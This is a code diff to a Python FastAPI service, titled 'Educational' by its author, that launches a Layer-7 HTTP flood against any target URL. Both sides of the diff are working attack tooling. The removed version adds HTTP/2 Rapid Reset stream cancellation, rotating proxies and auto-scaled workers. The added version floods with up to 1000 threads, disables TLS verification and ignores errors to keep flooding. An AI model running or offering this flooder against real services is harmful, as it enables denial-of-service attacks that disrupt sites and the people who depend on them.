Update main.py

main.py

@@ -1,204 +1,97 @@
 # main.py
-import asyncio
-import logging
-import signal
-import sys
-import threading
-from concurrent.futures import ThreadPoolExecutor
-from typing import List, Optional
-
-import httpx
 import uvicorn
 from fastapi import FastAPI, HTTPException
-from pydantic import AnyHttpUrl, BaseModel, Field, PositiveInt, validator
-
-# --------------------------------------------------------------------------- #
-# Logging
-# --------------------------------------------------------------------------- #
-logging.basicConfig(
-    level=logging.INFO,
-    format="%(asctime)s %(levelname)s %(name)s | %(message)s",
-)
-log = logging.getLogger("l7")
-
-# --------------------------------------------------------------------------- #
-# FastAPI app
-# --------------------------------------------------------------------------- #
-app = FastAPI(title="Layer-7 Power Flood (Educational)")
-
-# --------------------------------------------------------------------------- #
-# Global attack state
-# --------------------------------------------------------------------------- #
-attack_task: Optional[asyncio.Task] = None
-stop_event = asyncio.Event()
-metrics = {"sent": 0, "err": 0, "start_ts": 0.0}
+from pydantic import BaseModel
+import threading
+import requests
+import time
+import logging
+from typing import Optional
+from concurrent.futures import ThreadPoolExecutor
 
+logging.basicConfig(level=logging.INFO)
+logger = logging.getLogger(__name__)
 
-# --------------------------------------------------------------------------- #
-# Pydantic models
-# --------------------------------------------------------------------------- #
-class Proxy(BaseModel):
-    url: str  # e.g. "socks5://1.2.3.4:1080" or "http://user:pass@proxy:port"
+app = FastAPI(title="Layer 7 DDoS Testing Tool (Educational Only)")
 
+# Global attack control
+attack_active = False
+attack_thread = None
+executor = ThreadPoolExecutor(max_workers=500)  # Adjustable max threads
 
 class AttackConfig(BaseModel):
-    target: AnyHttpUrl = Field(..., description="http:// or https:// URL (no path)")
-    port: Optional[PositiveInt] = None
-    duration: PositiveInt = Field(..., ge=1, le=600, description="seconds")
-    threads: int = Field(-1, description="-1 = auto (CPU×100 workers)")
-    use_http2: bool = True
-    rapid_reset: bool = True
-    proxies: Optional[List[Proxy]] = None
-
-    @validator("target")
-    def strip_path(cls, v):
-        # Force only scheme + host (no path/query)
-        return str(v).split("/", 3)[0] + "//" + str(v).split("/", 3)[2].split("/", 1)[0]
-
-# --------------------------------------------------------------------------- #
-# Helper: rotating proxy transport
-# --------------------------------------------------------------------------- #
-def build_client(proxies: Optional[List[Proxy]], use_http2: bool) -> httpx.AsyncClient:
-    transport = None
-    if proxies:
-        import random
-        proxy = random.choice(proxies).url
-        transport = httpx.AsyncHTTPTransport(proxy=proxy, retries=1)
-
-    limits = httpx.Limits(max_keepalive_connections=None, max_connections=None)
-    return httpx.AsyncClient(
-        http1=not use_http2,
-        http2=use_http2,
-        limits=limits,
-        timeout=httpx.Timeout(8.0, connect=5.0),
-        verify=False,
-        transport=transport,
-    )
-
-# --------------------------------------------------------------------------- #
-# Core flood worker (HTTP/2 Rapid Reset + HTTP/1.1 fallback)
-# --------------------------------------------------------------------------- #
-async def flood_worker(client: httpx.AsyncClient, url: str, rapid_reset: bool):
-    global metrics
+    target: str          # http:// or https://
+    port: Optional[int] = None
+    duration: int        # seconds
+    threads: int = 100   # number of concurrent threads
+
+def flood_target(target_url: str):
     headers = {
-        "User-Agent": httpx._client._DEFAULT_USER_AGENT,
-        "Accept": "*/*",
-        "Cache-Control": "no-cache",
-        "Pragma": "no-cache",
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
+        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
         "Connection": "keep-alive",
+        "Cache-Control": "no-cache",
+        "Pragma": "no-cache"
     }
-
-    while not stop_event.is_set():
+    session = requests.Session()
+    while attack_active:
         try:
-            if rapid_reset and client.http2:
-                # ---- HTTP/2 Rapid Reset ----
-                async with client.stream("GET", url, headers=headers) as response:
-                    # Immediately cancel the stream
-                    await response.aclose()
-                metrics["sent"] += 1
-            else:
-                # ---- Classic HTTP/1.1 GET ----
-                await client.get(url, headers=headers)
-                metrics["sent"] += 1
-        except Exception as e:
-            metrics["err"] += 1
-            # silently continue
-            await asyncio.sleep(0.001)
-
-
-# --------------------------------------------------------------------------- #
-# Attack orchestrator
-# --------------------------------------------------------------------------- #
-async def run_attack(config: AttackConfig):
-    global attack_task, metrics, stop_event
-
-    stop_event.clear()
-    metrics = {"sent": 0, "err": 0, "start_ts": asyncio.get_event_loop().time()}
-
-    # Resolve URL
-    scheme = "https" if config.target.startswith("https") else "http"
-    port = config.port or (443 if scheme == "https" else 80)
-    full_url = f"{config.target}:{port}"
-
-    log.info(
-        f"Starting flood → {full_url} | {config.duration}s | HTTP2={'ON' if config.use_http2 else 'OFF'} | RapidReset={'ON' if config.rapid_reset else 'OFF'}"
-    )
-
-    # Auto-threads
-    workers = config.threads
-    if workers == -1:
-        import os
-        workers = max(os.cpu_count() or 1, 1) * 100
-    log.info(f"Using {workers} concurrent workers")
-
-    # Build client (one per worker to avoid connection pooling limits)
-    client = build_client(config.proxies, config.use_http2)
-
-    # Launch workers
-    tasks = [
-        asyncio.create_task(flood_worker(client, full_url, config.rapid_reset))
-        for _ in range(workers)
-    ]
-
-    # Wait for duration
-    await asyncio.sleep(config.duration)
-    stop_event.set()
-    await asyncio.gather(*tasks, return_exceptions=True)
-    await client.aclose()
-
-    elapsed = asyncio.get_event_loop().time() - metrics["start_ts"]
-    rps = metrics["sent"] / elapsed if elapsed > 0 else 0
-    log.info(
-        f"Attack finished | Sent: {metrics['sent']:,} | Err: {metrics['err']:,} | RPS: {rps:,.0f}"
-    )
-
-
-# --------------------------------------------------------------------------- #
-# API endpoints
-# --------------------------------------------------------------------------- #
-@app.post("/attack")
-async def launch_attack(cfg: AttackConfig):
-    global attack_task
-    if attack_task and not attack_task.done():
-        raise HTTPException(status_code=409, detail="Attack already running")
-    attack_task = asyncio.create_task(run_attack(cfg))
-    return {"status": "started", "config": cfg.dict()}
+            session.get(target_url, headers=headers, timeout=5, verify=False)
+        except:
+            pass  # Ignore failures to keep flooding
 
+def start_attack(config: AttackConfig):
+    global attack_active, attack_thread
+    attack_active = True
 
-@app.post("/stop")
-async def stop_attack():
-    global attack_task
-    if attack_task and not attack_task.done():
-        stop_event.set()
-        await attack_task
-    return {"status": "stopped"}
+    # Build target URL
+    protocol = "https" if config.target.startswith("https") else "http"
+    port = config.port or (443 if protocol == "https" else 80)
+    target_url = f"{config.target}:{port}"
 
+    logger.info(f"Starting Layer 7 flood on {target_url} for {config.duration}s with {config.threads} threads")
 
-@app.get("/status")
-async def status():
-    return {
-        "running": attack_task and not attack_task.done(),
-        "metrics": metrics,
-    }
+    # Launch threads
+    futures = []
+    for _ in range(config.threads):
+        future = executor.submit(flood_target, target_url)
+        futures.append(future)
 
+    # Stop after duration
+    time.sleep(config.duration)
+    stop_attack()
 
-# --------------------------------------------------------------------------- #
-# Graceful shutdown
-# --------------------------------------------------------------------------- #
-def signal_handler():
-    log.info("Received shutdown signal")
-    stop_event.set()
+    logger.info("Attack completed.")
+
+def stop_attack():
+    global attack_active
+    attack_active = False
+    logger.info("Attack stopped.")
+
+@app.post("/attack")
+def launch_attack(config: AttackConfig):
+    global attack_thread
+    if attack_thread and attack_thread.is_alive():
+        raise HTTPException(status_code=400, detail="Attack already in progress")
 
+    if config.threads > 1000:
+        raise HTTPException(status_code=400, detail="Max 1000 threads allowed")
+
+    if config.duration > 300:
+        raise HTTPException(status_code=400, detail="Max duration 300 seconds")
+
+    attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
+    attack_thread.start()
+    return {"status": "attack_started", "config": config}
+
+@app.post("/stop")
+def stop():
+    stop_attack()
+    return {"status": "attack_stopped"}
+
+@app.get("/status")
+def status():
+    return {"attack_active": attack_active}
 
 if __name__ == "__main__":
-    loop = asyncio.get_event_loop()
-    for sig in (signal.SIGINT, signal.SIGTERM):
-        loop.add_signal_handler(sig, signal_handler)
-
-    uvicorn.run(
-        "main:app",
-        host="0.0.0.0",
-        port=8000,
-        log_level="info",
-        workers=1,  # single worker; all concurrency inside async tasks
-    )
+    uvicorn.run(app, host="0.0.0.0", port=8000)